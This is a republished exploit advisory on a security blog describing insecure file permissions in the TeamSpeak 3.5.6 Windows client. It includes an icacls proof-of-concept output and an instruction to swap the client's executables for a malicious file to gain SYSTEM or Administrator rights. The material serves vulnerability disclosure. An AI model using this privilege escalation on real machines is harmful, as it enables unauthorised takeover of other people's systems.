TeamSpeak 3.5.6 Vuln – Insecure File Permissions

# Exploit Title: TeamSpeak 3.5.6 - Insecure File Permissions
# Exploit Author: Aryan Chehreghani
# Contact: aryanchehreghani@yahoo[.]com
# Vendor Homepage: https://www[.]teamspeak.com
# Software Link: https://www[.]teamspeak.com/en/downloads
# Version: 3.5.6 
# Tested on: Windows 10 x64

# [ About - TeamSpeak ]:
#TeamSpeak (TS) is a proprietary voice-over-Internet Protocol (VoIP),
#application for audio communication between users on a chat channel,
#much like a telephone conference call, Users typically use headphones with a microphone,
#The client software connects to a TeamSpeak server of the user's choice from which the user may join chat channels,
#The target audience for TeamSpeak is gamers, who can use the software to communicate,
#with other players on the same team of a multiplayer video game,
#Communicating by voice gives a competitive advantage by enabling players to keep their hands on the controls.

# [ Description ]:
#The TeamSpeak Application was installed with insecure file permissions.
#It was found that all folder and file permissions were incorrectly configured during installation.
#It was possible to replace the service binary. 

# [ POC ]:

C:\Users\user\AppData\Local\TeamSpeak 3 Client>icacls *.exe

createfileassoc.exe NT AUTHORITY\SYSTEM:(F)
                    BUILTIN\Administrators:(F)
                    WIN-FREMP1UB3LB\Administrator:(F)

error_report.exe NT AUTHORITY\SYSTEM:(F)
                 BUILTIN\Administrators:(F)
                 WIN-FREMP1UB3LB\Administrator:(F)

package_inst.exe NT AUTHORITY\SYSTEM:(F)
                 BUILTIN\Administrators:(F)
                 WIN-FREMP1UB3LB\Administrator:(F)

QtWebEngineProcess.exe NT AUTHORITY\SYSTEM:(F)
                       BUILTIN\Administrators:(F)
                       WIN-FREMP1UB3LB\Administrator:(F)

ts3client_win32.exe NT AUTHORITY\SYSTEM:(F)
                    BUILTIN\Administrators:(F)
                    WIN-FREMP1UB3LB\Administrator:(F)

Uninstall.exe NT AUTHORITY\SYSTEM:(F)
              BUILTIN\Administrators:(F)
              WIN-FREMP1UB3LB\Administrator:(F)

update.exe NT AUTHORITY\SYSTEM:(F)
           BUILTIN\Administrators:(F)
           WIN-FREMP1UB3LB\Administrator:(F)

Successfully processed 7 files; Failed processing 0 files

# [ Exploit - Privilege Escalation ]:
#Replace ts3client_win32.exe,update.exe,package_inst.exe,QtWebEngineProcess.exe,createfileassoc.exe and other ...
#with any executable malicious file you want then wait and get SYSTEM or Administrator rights (Privilege Escalation)

 13,332 total views,  2 views today

• About
• Latest Posts

Connect

RiSec.n0tst3

Hello! I'm Steve, an independent security researcher, consultant and analyst from Scotland, UK.

I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated...

I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK.

Connect

Latest posts by RiSec.n0tst3 (see all)

• OctoBot WebInterface – Remote Code Execution (RCE) – 0.4.3 - 21 July 2022
• Dangerous ‘Lightning Framework’ Linux malware installs rootkits, backdoors - 21 July 2022
• Atlassian Patches critical Confluence hardcoded credentials flaw - 21 July 2022